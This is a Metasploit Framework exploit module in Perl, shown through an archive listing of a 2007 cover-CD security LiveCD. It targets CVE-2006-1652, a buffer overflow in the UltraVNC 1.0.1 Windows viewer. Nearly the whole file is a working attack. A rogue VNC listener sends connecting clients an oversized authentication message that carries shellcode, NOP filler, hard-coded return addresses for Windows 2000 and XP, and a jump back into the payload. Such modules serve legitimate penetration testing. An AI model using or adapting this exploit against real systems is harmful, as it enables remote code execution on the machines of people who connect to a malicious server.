home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / usr / lib / metasploit / exploits / ultravnc_client.pm < prev    next >
Text File  |  2006-06-30  |  3KB  |  161 lines

  1. ##
  2. # This file is part of the Metasploit Framework and may be redistributed
  3. # according to the licenses defined in the Authors field below. In the
  4. # case of an unknown or missing license, this file defaults to the same
  5. # license as the core Framework (dual GPLv2 and Artistic). The latest
  6. # version of the Framework can always be obtained from metasploit.com.
  7. ##
  8.  
  9. package Msf::Exploit::ultravnc_client;
  10.  
  11. use strict;
  12. use base "Msf::Exploit";
  13. use Pex::Text;
  14. use IO::Socket::INET;
  15. use  POSIX;
  16.  
  17. my $advanced =
  18.   {
  19.   };
  20.  
  21. my $info =
  22.   {
  23.     'Name'           => 'UltraVNC 1.0.1 Client Buffer Overflow',
  24.     'Version'        => '$Revision: 1.1 $',
  25.     'Authors'        => [ 'y0 [at] w00t-shell.net' ],
  26.     'Description'    =>
  27.       Pex::Text::Freeform(qq{
  28.     This module exploits a buffer overflow in UltraVNC Win32 Viewer 1.0.1 Release.
  29.  
  30. }),
  31.  
  32.     'Arch'           => [ 'x86' ],
  33.     'OS'             => [ 'win32', 'winxp', 'win2000' ],
  34.     'Priv'           => 0,
  35.  
  36.     'UserOpts'       =>
  37.       {
  38.         'VNCPORT'    => [ 1, 'PORT', 'The local VNC listener port', 5900       ],
  39.         'VNCSERVER'  => [ 1, 'HOST', 'The local VNC listener host', "0.0.0.0"  ],
  40.       },
  41.  
  42.     'AutoOpts' => { 'EXITFUNC' => 'process' },
  43.  
  44.     'Payload'      =>
  45.       {
  46.         'Space'    => 400,
  47.         'BadChars' => "\x00",
  48.         'Prepend'  => "\x81\xc4\xff\xef\xff\xff\x44",
  49.         'MaxNops'  => 0,
  50.         'Keys'     => [ '-ws2ord', '-bind' ],
  51.       },
  52.  
  53.     'Refs'            =>
  54.       [
  55.         [ 'BID', '17378' ],
  56.         [ 'CVE', '2006-1652' ],
  57.  
  58.       ],
  59.  
  60.     'DefaultTarget'  => -1,
  61.  
  62.     'Targets'        =>
  63.       [
  64.         [ 'Windows 2000 SP4 English', 0x7c2ec68b ],
  65.         [ 'Windows XP SP2 English',   0x76b43ae0 ],
  66.       ],
  67.  
  68.     'Keys'           => [ 'vncviewer' ],
  69.  
  70.     'DisclosureDate' => 'April 4 2006',
  71.   };
  72.  
  73. sub new
  74. {
  75.     my $class = shift;
  76.     my $self;
  77.  
  78.     $self = $class->SUPER::new(
  79.         {
  80.             'Info'     => $info,
  81.             'Advanced' => $advanced,
  82.         },
  83.         @_);
  84.  
  85.     return $self;
  86. }
  87.  
  88. sub Exploit
  89. {
  90.     my $self = shift;
  91.     my $server = IO::Socket::INET->new(
  92.         LocalHost => $self->GetVar('VNCSERVER'),
  93.         LocalPort => $self->GetVar('VNCPORT'),
  94.         ReuseAddr => 1,
  95.         Listen    => 1,
  96.         Proto     => 'tcp');
  97.     my $client;
  98.  
  99.     # Did the listener create fail?
  100.     if (not defined($server))
  101.     {
  102.         $self->PrintLine("[-] Failed to create local VNC listener on " . $self->GetVar('VNCPORT'));
  103.         return;
  104.     }
  105.  
  106.     $self->PrintLine("[*] Waiting for connections to " . $self->GetVar('VNCSERVER') . ":" . $self->GetVar('VNCPORT') . " ...");
  107.  
  108.     while (defined($client = $server->accept()))
  109.     {
  110.         $self->HandleVNCClient(fd => Msf::Socket::Tcp->new_from_socket($client));
  111.     }
  112.  
  113.     return;
  114. }
  115.  
  116. sub HandleVNCClient
  117. {
  118.     my $self = shift;
  119.     my ($fd) = @{{@_}}{qw/fd/};
  120.     my $target    = $self->Targets->[$self->GetVar('TARGET')];
  121.     my $shellcode = $self->GetVar('EncodedPayload')->Payload;
  122.     my $rhost;
  123.     my $rport;
  124.  
  125.     # Set the remote host information
  126.     ($rport, $rhost) = ($fd->PeerPort, $fd->PeerAddr);
  127.  
  128.     my $filler = $self->MakeNops(980 - length($shellcode));
  129.  
  130.     my $first =
  131.       "RFB 003.006\n";
  132.  
  133.     my $second =
  134.       "\x00\x00\x00\x00\x00\x00\x04\x06". "Requires Ultr\@VNC Authentication\n".
  135.       $shellcode. $filler. pack('V', $target->[1]). "PASSWORD". "\xe8".pack('V', -997);
  136.  
  137.     $self->PrintLine("[*] VNC Client connected from $rhost:$rport...");
  138.  
  139.     $fd->Send($first);
  140.  
  141.     my $resp = $fd->Recv(-1);
  142.     chomp($resp);
  143.     $self->PrintLine('[*] VNC Client response: ' . $resp);
  144.  
  145.     if($resp !~ /RFB 003\.004/) {
  146.         $self->PrintLine('[*] Not a UltraVNC client... ');
  147.         return;
  148.     }
  149.  
  150.     $self->PrintLine("[*] Sending ". length($second). " bytes of payload...");
  151.  
  152.     $fd->Send($second);
  153.     
  154.     $self->Handler($fd);
  155.     
  156.     $fd->Close();
  157. }
  158.  
  159. 1;
  160.  
  161.